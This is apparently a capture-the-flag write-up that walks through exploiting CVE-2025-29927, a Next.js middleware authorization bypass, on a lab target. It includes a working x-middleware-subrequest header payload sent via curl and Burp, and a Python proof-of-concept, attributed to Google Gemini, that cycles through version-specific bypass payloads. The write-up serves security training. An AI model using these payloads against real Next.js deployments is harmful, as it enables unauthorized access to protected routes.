
In this article, I will walk you through a CTF that simulates the NextJS middleware bypass vulnerability described in CVE-2025-29927.
I will also discuss a simple Python POC that Google Gemini wrote for me. This helped me understand the vulnerability and find the flag.
CTF Description
https://defhawk.com/battleground/raid/appliedoffsecandwebsecurity/fakeestate
The CTF link provides the following description: “You land on a homepage that looks harmless — just a dummy page. But when you try to move forward, a pop-up warns: “The Middle Man Stopped You.” Craft the right HTTP request to slip past the middleman. Look for a server specific public exploit.”
Target URL: http://web.ctf.defhawk.com:3091/
Initial Recon
To find the exploit, I need to know what I am going to exploit. Wappalyzer does a nice job of revealing the framework used behind the URL.- Next.JS 13.5.6. As we will see later, the version information is critical in crafting the correct payload.

Visiting the link the browser gives me a web page with 2 links. Clicking on the Home page, gives me a regular page. Clicking on “Go Inside the Home”, pops up a dialog that blocks further access.
The URL being accessed is http://web.ctf.defhawk.com:3091/houseDoor

When I try to access this URL via cURL, i get the following:
| ┌─[✗]─[user@parrot]─[~/work/crac-ctfs/fake-estate] └──╼ $curl -i http://web.ctf.defhawk.com:3091/houseDoor HTTP/1.1 307 Temporary Redirect location: / Date: Mon, 13 Apr 2026 06:36:13 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked |
This server output tells me the following:
- HTTP/1.1 307 Temporary Redirect: This status code means the requested resource (
/houseDoor) has been temporarily moved to a different location. - location: /: This header tells curl where the new location is. In this case, it is redirecting me back to the root directory (/) of the website.
- Transfer-Encoding: chunked: This indicates that the server is sending the data in a series of “chunks” rather than all at once, usually because the final size of the response isn’t known yet.
Let’s follow the redirect. This simply dumps the main page again but the response headers confirm that we are working with Next.js as the backend. This will help narrow down the list of possible vulnerabilities.

I decided to use Gemini at this point to try and narrow down the possible vulnerability. Gemini was able to zero in on the vulnerability based on my prompt.

Gemini reveals a wealth of information, zeroing in on the exact CVE and also revealing the exact HTTP header that can be used to exploit this vulnerability.
This next piece of information is where we hit gold.

Gemini also pointed me to a valuable article that describes the subtle differences between different versions of Next.JS.

Since our target’s Next.JS version is 13.5.6, I need to use the payload that uses src/middleware, 5 times in the x-middleware-subrequest header.
The final payload is:
| x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware |
I can now use this in multiple ways to exploit the server and obtain the flag.
Using cURL
| curl -i http://web.ctf.defhawk.com:3091/houseDoor \ -H “x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware” |

Using Burp Repeater
| GET /houseDoor HTTP/1.1 Host: web.ctf.defhawk.com:3091 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Cookie: mp_1b83dabade7d2279f4d98fd638bae8dd_mixpanel=%7B%22distinct_id%22%3A%22%24device%3A2bc43100-f804-46fc-8b27-b74ffbe99b94%22%2C%22%24device_id%22%3A%222bc43100-f804-46fc-8b27-b74ffbe99b94%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22__mps%22%3A%7B%7D%2C%22__mpso%22%3A%7B%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%7D%2C%22__mpus%22%3A%7B%7D%2C%22__mpa%22%3A%7B%7D%2C%22__mpu%22%3A%7B%7D%2C%22__mpr%22%3A%5B%5D%2C%22__mpap%22%3A%5B%5D%7D Upgrade-Insecure-Requests: 1 Priority: u=0, i |

Using Python
Gemini was resourceful enough to craft a Python POC that supported payloads for multiple vulnerable versions of Next.JS. Though it is probably overkill for a challenge like this, I am adding it here for future reference.
The payloads list is of particular importance as it lists multiple payloads that have been known to exploit different versions of Next.js.
| # Author – Google Gemini (based on my prompts) import requests # Target URL (e.g., a protected dashboard or API route) TARGET_URL = “http://web.ctf.defhawk.com:3091/houseDoor“ # Payloads vary by Next.js version and project structure payloads = [ “middleware:middleware:middleware:middleware:middleware”, # Next.js 13.2+ “src/middleware:src/middleware:src/middleware:src/middleware:src/middleware”, # Next.js 13.2+ (src dir) “middleware”, # Next.js 12.2 – 13.2 “src/middleware”, # Next.js 12.2 – 13.2 (src dir) “pages/_middleware” # Pre-Next.js 12.2 ] def test_vulnerability(url): print(f”[*] Testing: {url}”) # 1. Baseline: Send request without the bypass header baseline = requests.get(url, allow_redirects=False) print(f”[-] Baseline Status: {baseline.status_code}”) # 2. Exploit: Loop through potential payloads for payload in payloads: headers = {‘x-middleware-subrequest’: payload} try: response = requests.get(url, headers=headers, allow_redirects=False) # If baseline was a redirect (307/302) but exploit gives a 200 OK, it’s likely vulnerable if response.status_code == 200 and baseline.status_code != 200: print(f”[!] VULNERABLE! Payload: {payload}”) #print(f”[!] Response Preview: {response.text[:200]}…”) print(f”[!] Response Preview: {response.text}”) return else: print(f”[*] Payload failed ({payload}): Status {response.status_code}”) except Exception as e: print(f”[!] Error with payload {payload}: {e}”) print(“[-] No vulnerability detected with provided payloads.”) if __name__ == “__main__”: test_vulnerability(TARGET_URL) |

Thats it. Thanks for reading !
RESOURCES
- ZScaler Article – https://www.zscaler.com/blogs/security-research/cve-2025-29927-next-js-middleware-authorization-bypass-flaw
- CVE-2025-29927 Detail – https://nvd.nist.gov/vuln/detail/CVE-2025-29927
Leave a comment